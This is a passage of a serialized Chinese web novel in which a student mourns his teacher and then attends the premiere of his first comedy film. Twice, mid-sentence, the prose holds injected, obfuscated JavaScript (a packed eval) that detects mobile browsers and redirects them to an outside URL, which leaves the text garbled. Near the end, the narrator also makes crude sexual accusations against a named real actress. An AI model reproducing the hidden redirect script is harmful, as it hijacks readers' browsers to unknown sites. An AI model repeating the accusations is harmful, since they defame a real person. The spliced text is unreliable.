正如他对我的爱情,你先生说,爱情就是如此,柴米油盐长流水,生老病死如波涛。 小远不哭,人终有一死,这是归宿,师母看得开。 师母前半辈子有你先生的陪伴,知足了。 后半辈子有你陪伴,师母更知足了。 好孩子,你先生走了,他没受罪就走了,这就是他最大的福分。 不哭,我不伤心,你也甭伤心。” 说着,她把项坠系在了高远的脖子上。 “师母……”高远把头埋到师母的双膝中,抱着她,泪水怎么也止不住地往下流。 赵建福走过来,轻轻拍着高远的肩膀,低声说:“好了,挺大一个老爷们儿,你振作一些,后面还有很多事情等着你拿主意呢,哭哭啼啼的,只会给你师母增添心理负担。” 高远把头从师母的双膝中抬起来,看一眼赵建福,擦干眼泪,说道:“赵老师,麻烦您给我拿一套孝袍子来吧。” 赵建福抽抽嘴角,为难地说道:“高远,现在不兴这个啊。” 高远一瞪眼,怒喝道:“我不管那个,我给我先生披麻戴孝,天经地义,谁想告,让他妈告去!” 赵建福叹息一声,妥协道:“你等等吧,我去请示一下校领导。” 十分钟后,赵建福回来了,将一件白色孝袍子递给高远,低声说道:“校领导考虑到情况特殊,请示了教育部的领导后得到批示,准许你以孝子的身份为南老送行。” “谢谢老师。” 高远说完,脱下湿漉漉的衬衣,把孝袍子穿好,围腰系了条白带子,又麻烦女老师给自己的布鞋上绷了白布。 给赵建福磕了个头,然后走到灵床侧面,再次跪了下去,头抵住先生的身体,手伸到被窝里面,紧紧抓住了先生冰凉的手,久久不肯放开。 在场的众位学校领导、教授、老师、同学们皆感慨一声:高远,是个有情有义的孩子啊。 旁边文学专业的同学们早已泣不成声。 南老的遗体告别仪式三日后在八宝山举行。 脱下孝袍的高远穿一身黑色中山装,将先生的骨灰盒安放进墓穴中,看着匠人们盖上石板,用水泥将墓穴封好,然后跪下去冲着石碑磕了三个头,又洒下一杯酒。 这才挽着师母的胳膊一步三回头出了墓园。 之后的几天里,同学们发现,高远按时上课了,但他时常轻轻摸索着脖子上挂着的项坠神情恍惚。 傍晚之时,落日的余光洒落在未名湖畔。 高远孤独地坐在长椅上,怀抱一把吉他,声音伤感且悲凉,轻轻弹唱着一首歌曲:红豆生南国,是很遥远的事情,相思算什么,早无人在意…… 醉卧不夜城,处处霓虹,酒杯中好一片滥滥风情…… 最肯忘却古人诗,最不屑一顾是相思,守着爱怕人笑还怕人看清…… 春又来看红豆开,竟不见有情人去采,烟花拥着风流真情不在…… 査建英、王晓萍、黄蓓佳、吴北玲等几位女生每每遇见皆相拥而泣。 杨迎明、陈建功、葛兆光、梁左、苏牧几人眼眶泛红,望着高远萧瑟的身影默默叹息。 南老的突然离去,对他的打击实在太大了。 大家真害怕他从此一蹶不振。 这时候,系主任费振刚走了过来,对几位同学说道:“你们回去吧,我过去跟小高聊聊,大家放心,他会听我劝的。” 第94章 建功、梁左、小查,仗义!局气! 同学们并未散去,只是向后面退了两步,大家聚在一起,目光仍旧带着浓浓的关切望住高远。 费振刚在他身边坐下来,摸出一盒烟递给他一根,轻声道:“小子,我知道南老的离世对你的打击很大,但人死不能复生,你得学会接受现实啊。” 高远把烟接过来点上,狠狠抽了一口后嗓音低沉:“主任,我知道,我心里都知道,但就是走不出来,先生对我的恩情太重了,一想到先生已经不在人世了,我就难受得要命。” 费振刚拍拍他的膝盖,叹声气,说道:“想想你师母,还需要你照顾呢,如果你还打不起精神来,不是更让老人家难受吗?” 高远又流下了泪水,他低头抹了一把,强笑一声,说:“您说得对,先生已经走了,师母年纪也大了,身边更离不开人了。我也正想跟您说这个事儿,我打算把师母接到家里去住,方便照顾她老人家,您看合适吗?” 费振刚想了想后说道:“这不是合不合适的问题,我琢磨着,湘君先生不会同意跟你回家的。 道理你不会不明白,首先说,南老虽然离去了,但老两口在那套房子里住了几十年,对湘君先生来说,家里的每一个物件,每一件家具,甚至空气里都带着老伴儿的气息。 对湘君先生而言,这就是念想,是情感的寄托。 其次,你虽是南老的关门弟子,也正式拜过师了,但毕竟不是老两口的亲生儿女。 湘君先生是个很传统的女性,我想他不会答应去你家里给你添麻烦的。 我说句不中听的,却也是句大实话,你对湘君先生没有赡养义务,尽管我知道你这孩子情深义重,我想湘君先生也是如此想法。” 高远又抽口烟,点点头说道:“这也正是我所担心的,可是老太太也是79岁的人了,又遭受了这么大的打击,身边离了人可不行啊。” 费振刚也点了根烟,说道:“这点你放心,学校不会不管的,系里的几位领导也商量过了,给湘君先生找个保姆照料她的日常生活。 你和你的几个师哥师姐们,平时没事儿多往先生家跑跑,帮着干些家务,多陪老太太吃几顿饭尽尽孝心就是了。” 高远点着头说道:“嗯,我知道了。谢谢学校和系领导们对我师母的关怀和照顾。” 费振刚笑笑说:“都是应该的,南之先生是北大历史上最优秀的教授,湘君先生也在北大教书多年,这对贤伉俪为中国的教育事业做出了杰出的贡献,如今南老走了,照顾好湘君先生的晚年生活是我们义不容辞的责任。 高远啊,你也要尽快从悲痛中走出来,调整好自己的状态,别让老师、同学们,尤其是你师母湘君先生为你担着心。 你现在这个精神状态,实在是令我们担忧啊。” 高远说道:“请主任放心,我会尽快调整好的。” 费振刚也嗯了声,说:“你是个好孩子,这点我们都看在眼里。好了,多余的话我也不说了,你再坐一会儿,然后跟大家一起回去吧。” 高远说声好,见他起身,也连忙站了起来,目送他大步离开。 又抽了根烟,高远感觉心里舒服了一些,将烟头扔在地上踩灭,捡起来握在手中,背上吉他,起身走到同学们面前,勉力一笑,说:“这几天让大家担心了,对不住各位,今后我会好好的,请哥哥姐姐们放心吧。” 陈建功拍拍他的肩膀,叹息一声,说:“心情我们能够理解,但就像费主任说的那样,人啊,不能总沉浸在伤痛中走不出来,既然斯人已逝,你现在的主要任务就是把活着的人照顾好了。” 梁左抓住他的手腕,说道:“走,喝酒去,大醉一场再睡一觉,醒过来,也就啥事都没有了。” 他这个提议得到了大家的一致认可。 杨迎明说:“我请客,谁也不许跟我抢。” 高远几乎是被这几位架着离开未名湖畔的。 几个人浩浩荡荡杀出南门,杀向长征饭庄。 在二楼找了个偏僻角落的圆桌坐下,点了六个菜,要了三瓶白酒一堆扎啤。 等酒菜上齐,大家吃喝起来。 高远清楚,今晚这顿饭是同学们为了给他排解阴郁、消沉的情绪。 经过跟费振刚聊天,他更清楚自己得振作起来,不能再继续沉浸在悲痛中无法自拔了。 自己得把对先生的怀念和感激深埋在心底,在今后的日子里把师母照顾好。 面对敬酒,他来者不拒。 他确实也需要用大醉一场来调整情绪。 可非常奇怪的是,越是想醉就越醉不了。 一斤白酒进了肚,扎啤也喝了两扎,他目光清明,脑袋灵光,还能摇头晃脑地大声朗诵:“君不见,长江之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。” 整得跟范闲似的。 大家伙儿集体傻眼了。 苏牧低声问小查道:“高老师酒量啥时候练出来的?” 小查半张着嘴,说:“你问我,我问谁去?问警察,警察也不知道啊。” 王晓萍说道:“人在经历过大喜或是大悲,往往会出现一切与平时大相径庭的表现,包括性格脾气、生活习惯等等方面,我想高老师正在经历这个阶段,你们等着看吧,明天,他就会恢复到往日那种正常状态的。” 几位深以为然。 果然,明天,高远恢复了。 他又变得吊儿郎当、嬉皮笑脸、没心没肺。 但熟悉他的同学们都能看得出来,他只是把对江南之先生的怀念深深埋藏了起来。 课上或是课件,他仍旧会习惯性地去触摸那个红豆吊坠项链,这已经成为了他下意识的一个行为。 1978年,有几件事情挺重要的。 比如说卢新华的短篇小说《伤痕》在《文汇报》上被刊登出来,引起广泛讨论后进而将伤痕文学 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高远对此无动于衷。 老美不是啥好玩意儿,殊不知后世里这个普那个登的,哪个不是想尽千方百计对我国实行经济领域内全方位的打压,生害怕我东大抢走了他美丽国全球霸主的地位。 同学们欢呼吧,兄弟我恕不奉陪了。 他走出教室,找个菜店买了些新鲜蔬菜和二斤排骨,拎着网兜溜溜达达来到先生家。 一进门就见到一个三十多岁的女人在拖地,这是系里给老太太找的保姆,姓朱,高远喊她朱姐。 高远冲她笑了笑,提高点儿音量喊道:“娘,我来啦。” 自打先生过世后,他就把对师母的称呼给改了。 冉湘君从卧室里走出来,老太太特慈祥,笑呵呵对高远说道:“**耳朵还没聋,你个臭小子喊那么大声干嘛?又买了啥?” 高远展示展示,笑着说:“今天中午给您炖排骨吃。” 冉湘君埋怨道:“就知道乱花钱,前几天你拿过来的白条鸡还在冰箱里冻着呢,我一个老太太,能吃几口啊。” “吃不完就留着慢慢吃,再说了,儿子孝敬娘,花几个钱不是天经地义的么,您先歇着,我这就去做饭,一会儿就能吃了。”高远说完,奔厨房。 朱姐笑眯眯说道:“阿姨,小高真孝顺啊。” 冉湘君微笑着点头:“是个好孩子,我家老头子教了一辈子书,没给国家做出太大的贡献,倒是培养了几个好学生。小远不错,若水和媛媛几个孩子也都很好,经常过来探望我。” 高远炖了一锅排骨,又炒了两个青菜,闷了锅米饭,陪着师母吃了顿午饭。 他捡班里几件趣事跟老太太聊了聊,逗得老太太眉开眼笑的。 吃过午饭后,老太太照例要午休,高远帮着朱姐收拾好碗筷,把老太太搀进卧室这才告辞离开。 第95章 《瞧这一家子》正式上映 《**故事会》销量暴涨,这是在高远的预料之内的。 《太极宗师》上半部刊登之后,当期杂志的销售量就破了三十万册。 编辑部负责发行的同志忙得脚不沾地,督促着印刷厂连续加印了三次才勉强应付了市场需求。 两个月间,读者来信一口袋一口袋地被邮递员同志往杂志社里抬。 读者们的反馈意见主要有两条。 第一条是:故事太精彩了,不仅打斗场面描写得激情澎湃,杨昱乾和陈少琪的爱情故事也让读者们十分向往。 第二条:杂志社太缺德了,这么精彩的故事,连载一半就断尾了,雪花一般的信件里就没有不骂娘的。 顾小白在跟姜若齐聊天:“主编,我就说吧,小高这部作品一定会引起轰动的。咱们杂志主要在长三角一带销售,您看看现在,连山东、河北、天津等地都有主动订阅的了。” 罗书全也笑着说:“京城东城区新华书店打来电话,问我们这一期要不要走他们的销售渠道,他们主动说要订阅10000册,以满足京城地区读者们的阅读需求。” 姜若齐志得意满,乐呵呵问道:“依你们看,这一期咱们发行多少本合适?” 发行部的负责人沉思片刻后说道:“至少40万册,才能满足市场需求。” 姜若齐笑笑,没接茬。 顾小白说道:“刘主任保守了,我认为,50万册都不一定能满足市场需求。” 刘主任也笑了笑,说:“小顾,也不是我思想保守,我也承认小高作家这边文章写得精彩,这不是因为咱们杂志前些年从没取得过如此好的成绩么,让我一下有点懵了。” 编辑部的诸位都哈哈大笑起来。 胖大姐感慨道:“是啊,小高同志以一己之力带动了一本刊物的销售,造成了发行量呈几何倍数的增长,这在以前是想都不敢想的,这更说明了小高同志的写作水平超出其他作者不止一成,这样的作者,我们可得维护好了和他的关系。” “小赵这话说得没错,维护和高远同志关系这件事情,就交给小白了,你要常跟小高联系,别拘泥于写信、打电话这种方式来沟通,也常去京城探望一下他嘛。 带些沪上的土特产,让小高尝尝鲜,你要知道,感情是处出来的,不见面,不交流,这感情怎么处? 对了,你最近跟小高联系过没?他忙啥呢?”主编先殷殷嘱托了顾小白一番,接着话锋一转问他道。 顾小白神色黯然道:“倒是通过几次电话,起初我感觉他情绪不高,往往说不了两句话他就把电话挂断了。 后来我侧面向北影厂文学部的梁晓声同志打听了一下才知道,高远同志的授业恩师江南之先生突然去世了。 南老的离世,对高远的打击特别巨大。 晓声同志说,南老不仅在学业上对高远倾囊相授,私底下也像对待亲儿子一般关心他,爱护他。 这爷儿俩感情很深厚。 也为此,北影厂都把《瞧这一家子》的上映计划做了临时调整,厂领导担心,以高远现如今的状态,这时候上映他的作品会让他心里更难受的。 这是部喜剧片,不合适。 对了,今儿刚好是《瞧这一家子》正式上映的日子,要不,咱们一起去给高远的第一部影片捧个场啊。” “那还等什么?买票去啊,我做主了,杂志社请大家看电影,咱们就去光明影院。”姜若齐拍了板。 也快到下班的点了,大家提前溜号,下楼奔光明影院。 路上,姜若齐又叮嘱了顾小白一句:“你一定要搞好和高远同志的关系,特别是对于他的新书,你要催得勤一些,不然我们下期杂志又缺内容了。 这好不容易看出点从困境中走出来的希望,可不能半途而废了呀。” 顾小白点点头,郑重说道:“我明儿就买去京城的火车票,过去跟高远见个面。” “带些东西,别空着手去。” “好的。” 这年头,编辑跟作者联络感情,送些礼物,吃吃喝喝都是很正常的事情,唯独不能谈提高稿费。 因为稿费标准是国家制定的,超出标准范围,相当于违法。 《**故事会》编辑部一班人等去看电影时,身在北大的高远此刻也被同学们包围了起来。 “丫作品拍摄的电影今儿上映了,丫好意思不请客么?”梁左大声吆喝道。 “王八蛋,你跟谁丫丫的,弄死你一个来回你信不信?”高远掐着这货的脖子。 “别闹别闹,高远儿,老梁这话说得没错啊,这是你的第一部影片啊,太值得纪念了,你很有必要请同学们陪你度过这个难忘的夜晚。”小查也跟着起哄道。 陈建功拍拍他的肩膀说道:“别挣扎了,没用的,痛快从了吧。” 全班四十多号人,除了那些个各色的,不合群的,高傲的,看不惯小远子目中无人、嚣张跋扈的,还有三十多号人围在他身边,点头如捣蒜。 大家伙儿肯捧场,对高远来说打心眼里高兴。 他手一挥,说道:“请客就请客,不就是看场电影么,我还真就……不掏钱了!” 大家对他怒目而视。 高远笑着说:“北影厂有放映厅啊,哥哥姐姐们容我先打个电话安排一下,让厂里给腾出一间来,我想我这点面子还是有的。” 同学们轰然叫好,簇拥着他走出教室下了楼。 高远哭笑不得,我真没打算溜号的。 刚走到楼下,迎面遇见赵建福和乐黛云、王瑶、陈贻焮等几位老师。 见自己班的学生浩浩荡荡从二教杀出来,赵建福心里咯噔一下子,忙疾步走上前问道:“你们这是要干什么去?” 这年头,热血冲动的年轻大学生们头脑一热就上街**的事情屡见不鲜。 老赵心说这又出什么幺蛾子了,怎么人聚得这么齐全? 陈建功笑着说道:“赵老师,高远那部《瞧这一家子》不是今天正式上映了么,咱们同学一商量,必须给他捧个场啊,这不就撺掇着高远请客,让他请我们到北影厂看电影去。” 赵建福这才放下心来,“诶,你们不说我都忘了,没错儿,小远子那部片子今天上映。远子,你只请同 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陈建功说是。 刘震云眯着小眼咝了一声,“高远同学我可太欣赏了,建功哥能不能帮我引荐一下啊?” 陈建功边走边说:“你瞧这个阵势现在合适吗?回头吧,回头我带你认识认识。” 刘震云带着点失望离开了。 高远在青年服务社给汪厂长打了个电话。 接到他电话的时候,汪阳正在接待几位重要来宾,在待客区沙发上坐着的,赫然是文化部长高跃华。 陪同他前来的还有个姓张的副部长,和方舒的父亲刘诗汉。 方舒的父亲为什么姓刘呢? 因为是化名。 汪阳听高远说,他想要请老师和同学们看电影,问厂长方不方便给安排一间放映厅? 他很开心,因为这部片子的拷贝卖得不错,迄今为止一共卖出去273个。 260一个,这一笔就是709800元到手了。 这部片子制作成本低,拢共拨了60万还没花完,这70多万一到账,那就是挣钱了。 并且汪阳心里很清楚,273并不是最终的数字,随着电影的上映,新一轮的采购狂潮即将到来。 这个年代里,人民群众的业余文化生活匮乏得令人发指,每上映一部电影都会迎来观影狂潮。 他爽快答应了高远的请求,说:“来吧,我这就让人把放映厅给你腾出来。” 挂断电话后,他笑着对高跃华说道:“巧了部长,高远打来电话说,要请学校的老师和同学们一起观影,跟你正好撞了车。” 高跃华呵呵一笑,道:“我今天本不该过来麻烦汪老您,这不是实在买不到票了么,各家电影院把海报一张贴,全都爆满,我又心急,想着看看我那侄子写了个什么故事,就拽着老张和小刘一起叨扰您了。 既然高远也来了,那就一起吧,也别去小放映厅了,就去礼堂,大家一起看大荧幕,还是大荧幕看着过瘾。” 第96章 大获成功 高远在半路上就琢磨,既然请了老师和同学们,不如把老爸老妈一起请过来看电影,让老两口为自己取得的这点成绩骄傲一下。 于是他半路上改变了方向,回了趟家,一进门就看到闲得无聊的老爸老妈分别坐在茶几两头,茶几上摆着副扑克,俩人正在抽王八。 高原乐抽了,说了声:“走,看电影去,儿子的第一部电影今天正式上映了。” 老妈一听就乐开了怀,奔里屋穿上棉服,又把老爸的棉猴拿出来帮他穿好,换上鞋出门去北影厂。 大伯说得没错,大荧幕看着就是过瘾。 一家三口进到礼堂后,偌大的礼堂里已经人满为患。 高远勉强能看清楚汪阳率领着两位副厂长孙文今和**雄,还有导演、摄影师、剪辑、录音部门的一群人占据了前三排的位置。 汪阳身边还坐着几位陌生面孔,因为室内灯光已暗,他没看清楚是谁,总觉得有点眼熟。 坐在边上的李晨声见他过来,说道:“快去找地方坐吧,今儿几乎是全场总动员,大家都迫不及待等着看这部电影的水准呢,你再来晚一点,座位都没有了。” 高远说声好,向他道了谢,带着父母奔后面。 梁左向他招手,说道:“高老师,这里这里,我给你占着坐呢。” 这是第六排,梁左占了三个位置。 小查等人主动起身,让一家三口进去。 坐下后,高跃民笑着说:“谢谢你啊,不用喊高老师,你喊我高叔叔就行。” 梁左:“呃,高叔,这声‘老师’我喊的是远子。” 高跃民:“……” 其他几位:“哈哈哈哈……” 连赵建福、乐黛云几位都忍俊不禁起来。 乐黛云隔着小查向高跃民伸出手,笑着说:“高老师您好,我是乐黛云,教授高远这个班级的《茅盾研究》课程。” 高跃民诚惶诚恐,跟她握了握,说:“乐教授您好,我可是久闻大名了,高远这孩子在学校没少给您添麻烦吧,还请您多多海涵。” 乐黛云笑道:“高远是个好孩子,有悟性,也肯学,麻烦没给我们添多少,倒是给学校争了很多荣誉,老师们都很喜欢他。高老师贤伉俪教出来个品性优秀、高洁的孩子啊。” 高跃民两口子是知道前阵子江南之先生突然去世一事的,对高远在处理南老丧事上面表现出来的对师道尊严的敬重也深感欣慰。 他清楚,乐黛云这番话就包含着这层意思。 高跃民慰然一笑,客气道:“您过奖了,他取得的这点成绩,与学校教授、老师们对他的精心培养密不可分。” 赵建福、王瑶和陈贻焮也分别跟高跃民、张雪梅打过招呼,互相认识了一下。 此时,当当,当当当当那熟悉的声音响了起来,银幕黯淡下来,接着一亮,**为主色调的城门楼子出现在观众们面前,底下是七个白色的大字:BJ电影制片厂。 画面一转,银幕上出现了马季那张胖脸,立刻引起了观众们一阵欢笑。 没错儿,马季在这部电影中客串了一名摄影师。 就一组镜头,此时,他已经非常有名了,其师父是歌颂型相声的创始人侯宝林大师。 他自己也创作了需要该类型的作品,《英雄小八路》《找舅舅》《友谊颂》等等。 最脍炙人口的莫过于《宇宙牌香烟》和带着他一众徒弟表演的《五官争功》。 马季是王好为邀请来客串的。 故事几乎没有铺垫,一上来就是马季饰演的摄像师指挥着老胡一家四口拍全家福。 马季自带喜剧效果,一笑俩酒窝,特亲切的样子。 “领子整一整,老同志,您把头歪一歪,哎……好了,就这样了。” 陈强歪着头,板着一张脸。 “老同志,您别绷着呀,您看那位小伙子,他就不紧张……您在哪儿工作?” 陈小二摸摸油头,一笑,道:“文工团。” 马季张嘴就捧:“我说的呢,够味儿啊。” “照相同志,别抻着了,快点吧。”陈强催促道。 “急什么呀,别照成丑八怪。”黄玲小声嘀咕。 “模样本来就不俊。” “别动了,睁眼,看这儿。笑一笑,再笑一点儿。” 陈强露出个比哭还难看的笑容来。 “同志,这样笑。”马季做示范,笑得很憨厚。 观众们也发出一阵笑声来。 陈强固执己见:“不笑,就这模样。” 马季从善如流:“得,听您的,照了啊。” 咔嚓一声,全家福定格。 这时候,银幕上才浮现出片名:瞧这一家子。 “台词写得真好,很生活化。”张雪梅称赞道。 坐在她身边的王瑶推推眼镜笑着说道:“口语化的表达方式在这个年代的影片中并不常见,高远这部作品,严格说算是开了先河。” 老胡看着怒放的鲜花乐开了怀,先喊老婆子过来瞧,说了一番嘉英拿回来时快**,没想到还能活之类的话,接着呼叫嘉英。 张金玲那张大脸盘子出现在银幕上,她拿着个小镜子往隔壁阳台上照,跟恋人郁林对暗号。 高远也不知道怎么回事,北影厂重点培养的“三朵金花”都是大脸盘子。 包括刘小庆,这会儿也有点婴儿肥,远不像后世,70多岁的人了,瓜子脸,那皮肤嫩的,还一掐一兜水儿。 反观上影厂,不管是老一辈的白杨、秦怡、上官云珠,还是近几年才红起来的张瑜、赵静、吴海燕,一个赛一个的秀气、靓丽。 书归正传。 这部电影围绕着老胡父子俩在生活中不同的观念冲突和一系列笑料展开,内核却是在展现这个时代工业生产的发展。 当陈佩斯在阳台上给新华书店的店员们培训那一幕上演时,全场观众爆发出足以掀翻屋顶的笑声。 这是二子哥在整部作品中最松弛,爆发力最强的一段表演。 尤其在他说出那句:“我想在这个舞蹈中塑造出披荆斩刺(棘)的,全心全意为工农兵服务的,并且是这个,这个这个这个,并且是扭转干(乾)坤的高大形象时……” 后排的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402277|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜乾虎绷不住了,他探着身子猛地一拍高远的肩膀,恶狠狠说道:“小远子你也太**道了,拿哥开涮是吧?” 同学们哄堂大笑,显然对教官喊的那声“颜干虎”记忆犹新。 高远回过头来,嘿嘿笑道:“没有,真没有,我写这台词的时候咱们不是还没开始军训呢么,咱俩也不认识啊,颜**您也太能联想了。” 颜乾虎哀叹一声,道:“你这么说也对,但这也太他妈寸了,我还以为你这是后来改的词儿呢。” 同学们又发出一阵看热闹不嫌事大的笑声来。 随着故事的开展,大家逐渐看清楚影片的脉络。 车间里,纺织机出现故障,导致正在精仿的棉纱被卷了进去。 主任老胡把女工田秀批评了一通。 技术部门,郁林和嘉英正带领着几名技工研究光电探纬器,并取得了初步成功。 光电探纬器经过一番波折后最终被安装在纺织机上面,田秀的产量呼呼地往上涨,机器织出来的布匹,匀实、细密。 但没高兴多久,由于嘉英开车造成的失误,一匹布料彻底报废。 老胡大发雷霆,他命令立刻把机器上的光电探纬器拆卸下来。 郁林去家里道歉,几句话没说对付,又惹得老胡暴跳如雷,将他赶出了家门。 嘉英一看,老爸是个想法转不过弯来的老顽固,一次失败的实验就全盘否定了光电探纬器对纺织工业起到的促进作用,一气之下跟随郁林走了。 坐在前排的高跃华神情专注,扭头对汪阳说道:“这一段不错,改革过程中是会遇到这样那样的难题,老同志思想观念陈旧,往往接受不了新鲜事物。 可年轻人不一样,他们的思想更加解放,也勇于探索创新。 优秀的年轻一代成长起来,才会成为国家科技发展的中坚力量。” “老同志只要身子骨没问题,精力允许,也是可以发挥余热的。”汪阳说道。 高跃华呵呵一笑,又道:“我可没有影射您该给年轻人让位的意思,您这也太敏感了。” 汪阳笑着打哈哈道:“看电影看电影。” 嘉奇买了残次品的布料,险些跟小红分手,回到家后抱怨了几句,成功点燃了老爷子的怒火。 父子俩的对话让观众们看得津津有味。 李健群自出场那一刻就牢牢钩住了观众们的目光。 她在影片中的扮相利落、自然、大气,服装以白衬衣、黑西裤为主,还有两件自己设计的连衣裙,颜色并不是很鲜艳的红或者黄,一件紫色的,一件粉色白花的。 这是高远给出的意见,突出一个朴素大方。 这年代的女性以朴素为美。 像刘小庆的装扮,那属于特例,她向来大胆,也敢于突破自我。 高远动了点儿小心思,他就是要让两人之间产生一个鲜明对比的效果。 小红越朴素,就显得张岚越轻浮。 再加上质朴的语言,小红这个人物形象就彻底立在观众们心目中了。 用后世的话说,他这是在给健群姐立人设。 第97章 王导要向高远讨人情 张雪梅双眼发亮,道:“这姑娘长得可真漂亮,不光漂亮,还有一股子,一股子……端庄、内秀的气质。” 她想了半天才挑了两个并不怎么合适的形容词来。 王瑶是知道高远和李健群那点子事儿的,尤其明白高远的心思,听了张雪梅的话,她笑着打趣道:“高远妈,要是这姑娘给你当儿媳妇,你乐意不?” 张雪梅笑逐颜开道:“王教授可别开玩笑了,我家小远可没那福气。” 王瑶笑而不语,心说你家小远早就瞄上人家姑娘了,这姑娘对高远也有点意思,两情相悦,怕是逃不出你家小远的手掌心儿了。 嘉奇的话剧上演了,老胡偷摸去看,旁边坐着张岚。 他误以为张岚就是跟嘉奇谈恋爱的小红,心里又不痛快了。 舞台上场门那边,嘉奇发现老爸来了,本就紧张,把给小红准备的苹果揣进兜里,接过酒瓶走到幕布前,又逢另一位上场的演员不小心触动了幕布晃了他一下,他晕晕乎乎就上了台。 没成想,这一晕乎,却阴差阳错地把这场戏分表演得活灵活现起来。 演出大获成功。 “交朋友也得讲个质量第一啊,像她这种残次品……” “哎呀,爸爸!” “我这是对你负责!” 回到家后,父子俩因为嘉奇女朋友的事儿又爆发了激烈的冲突。 陈老爷子演技绝对没得说,再加上高远临时修改的台词,“残次品”三个字一说出口,台底下就爆发出一阵疯狂的笑声。 小红姑娘第一次登门了,老胡之前就跟她解除了误会,知道给自己送书这姑娘才是嘉英交往的女朋友,心花怒放。 故事结局自然是美好的,是大团圆的。 马季又出场了,一家四口的全家福变成了一家六口。 这次,不用马季提醒,老胡就笑成了一朵月季花。 影片播放完毕。 片尾曲是口哨吹奏的《三月里的小雨》。 与此同时,字幕上映。 编剧:高远 导演:王好为 摄影:李晨声 ………… 跟着后面是演员表。 老胡:陈强 胡婶:黄玲 嘉奇:陈佩斯 小红:李健群 嘉英:张金玲 郁林:汪用桓 张岚:刘小庆 大阮:董子武 ………… “好!” “太好看了!” “很不错的一部片子!” “可笑死我了!” 观众们全都激动地站了起来,热烈的掌声经久不息。 梁左捣高远一胳膊肘子,笑嘻嘻问道:“很有成就感吧?” 高远咧着嘴说:“感觉有点儿怪。” 陈建功问道:“怎么说?” “虽然我没有参演,但你们要说有多少成就感,我说一点没有你们也不信,说不定还会觉得我矫情,但这种感觉怎么形容呢?更多的是一种如释重负吧,像是卸下了一个包袱,让我感觉到很轻松,你们懂吧?”高远说道。 “我好像有点儿理解高老师的感受了,敢情你之前也是有很大压力的呀,片子没上映之前,你表现出来的那种轻松全是装出来的。”苏牧笑着说道。 高远点点头,说道:“怎么可能一点压力都没有呢,毕竟是我第一部影片。” 小查说道:“还是要恭喜你,哥们儿,恭喜你第一部影片就获得了观众们的认可和喜爱。” 王晓萍笑着说:“虽然我们都已经看过原著了,但看原著和看电影是完全不同的两种体验。不得不说,高老师的台词写得太棒了,演员们表演得也好。” 陈佩斯从后面摸了过来,一拍高远的胳膊咧着嘴说:“主要是高老师调教得好。” “二子哥也来了。”高远惊喜道。 “不光我来了,你往后面瞧瞧。” 他一瞧,好嘛,陈强老师、黄玲老师、张金玲、李健群、董子武、陈钊老师等人都在,独缺刘小庆。 “感谢各位老师捧场,谢谢了。”高远赶忙走出去,跟各位老师寒暄。 “你小子以为就你关注这部片子啊,大家伙儿都关注着,这毕竟是运动会结束后国内电影界拍摄制作的第一部喜剧片,效果如何,观众朋友们的反响如何,大家能不关心嘛。”陈钊老师笑着说道。 “从厂里职工们的反应上来看,这片子成功了。小高有句话没说错啊,能把观众逗乐的影片,就是好影片。”黄玲老师乐呵呵说道。 李健群望着高远的目光柔情似水,又有点羞涩,抿着嘴也不说话,但上扬的嘴角却彰显出她此刻激动的心情。 自己也是有代表作的人了。 高远也嘿嘿傻笑。 这时候,高跃华从前排走了过来。 高跃民两口子一愣,“大哥?” 高跃华乐了乐,说道:“什么表情啊你俩这是,我出现在这里很奇怪吗?” “奇怪倒是不奇怪,我们只是没想到你这个老古板居然也有在电影院看电影的一天。”高跃民难得开了句玩笑。 高跃华笑得更欢快了,“汪老,听见了没,我这是被我弟弟批评了呀,人家嫌我古板呢。不过我今后想古板都古板不起来喽,现如今干的这项工作,就是要跟文化界、文艺界的同志们多打交道。 所以要培养起看电影的爱好来,这也是我工作的一部分。” 高远见大伯来看电影也很惊奇,他凑过来问道:“大伯,我写的这个故事您还满意不?” 高跃华老怀大慰看着他,笑道:“片子不错,但故事内容只占一部分,电影拍得精彩,主要是北影厂剧组的全体演职人员付出的艰苦努力所带来的结果。 你小子别给大伯翘尾巴,要戒骄戒躁,多创作出几部人民群众喜闻乐见的作品来,这也是你对四个现代化建设添砖加瓦的具体表现。” “得嘞,高部长高屋建瓴,高瞻远瞩,理论水平更是值得我辈深入学习。 小高一定认真贯彻领会您的指示精神,再接再厉,争取多创作几部好作品来,满足人民群众日益匮乏的业余文化生活。”高远嬉皮笑脸道。 高跃华抬手给了他一个脑瓜崩,笑骂道:“你个臭小子少跟我在这儿斗咳嗽,高部长也是你叫的?再跟我犯贫,老子大嘴巴抽你。” 高远老实了,矗立在一旁像喽啰。 大家都笑了起来。 高跃华对高跃民两口子说道:“周天吧,我上家吃个饭,雪梅给我包顿饺子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王心刚是第三创作集体的,他跟凌子风导演相交莫逆。 王好为单独出来执导影片前,也是第三导演集体的人,被归类到“其他导演”的行列中。 在凌子风导演和三创的其他同仁眼中,她毫无疑问属于叛将。 再加上自己在北影厂那些老导演,老同志们心目中也是个毛头小伙子+愣头青,人家婉拒《李志远》剧组的邀请也就不足为奇了。 文艺界的人下作,心眼儿也多。 这年头儿大家的思想还算是单纯的,搁后世你看看吧,为了抢角色,纵情男人怀抱,无缝衔接17个男人,搞得身子骨千疮百孔的女明星也不是没有啊。 这里就不点名了。 说的就是你——林熙蕾! 还有那个喝懵了后醉眼朦胧地问:“我老公呢”的女人。 也不是什么正经货。 更别说部长夫人了,那位玩儿得更高级。 现在大家只会暗戳戳地竞争,看不顺眼私下里使绊儿,很少有摆在明面上去掀桌子的。 